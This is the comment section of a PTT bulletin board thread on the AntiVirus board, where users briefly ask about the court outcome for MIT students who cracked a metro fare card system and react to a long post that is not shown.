來自: 60.250.42.178 (09/05 20:57)

09/06 02:04, , 1F
那三個破解捷運票卡系統的MIT學生現在怎樣了?
09/06 02:04, 1F

09/06 02:05, , 2F
我只follow到法官判他們無罪 之後呢?
09/06 02:05, 2F

09/06 12:04, , 3F
好長的文,雖然看完很多看不懂>_<
09/06 12:04, 3F

09/06 12:10, , 4F
好帥喔
09/06 12:10, 4F
文章代碼(AID): #18mH2PtN (AntiVirus)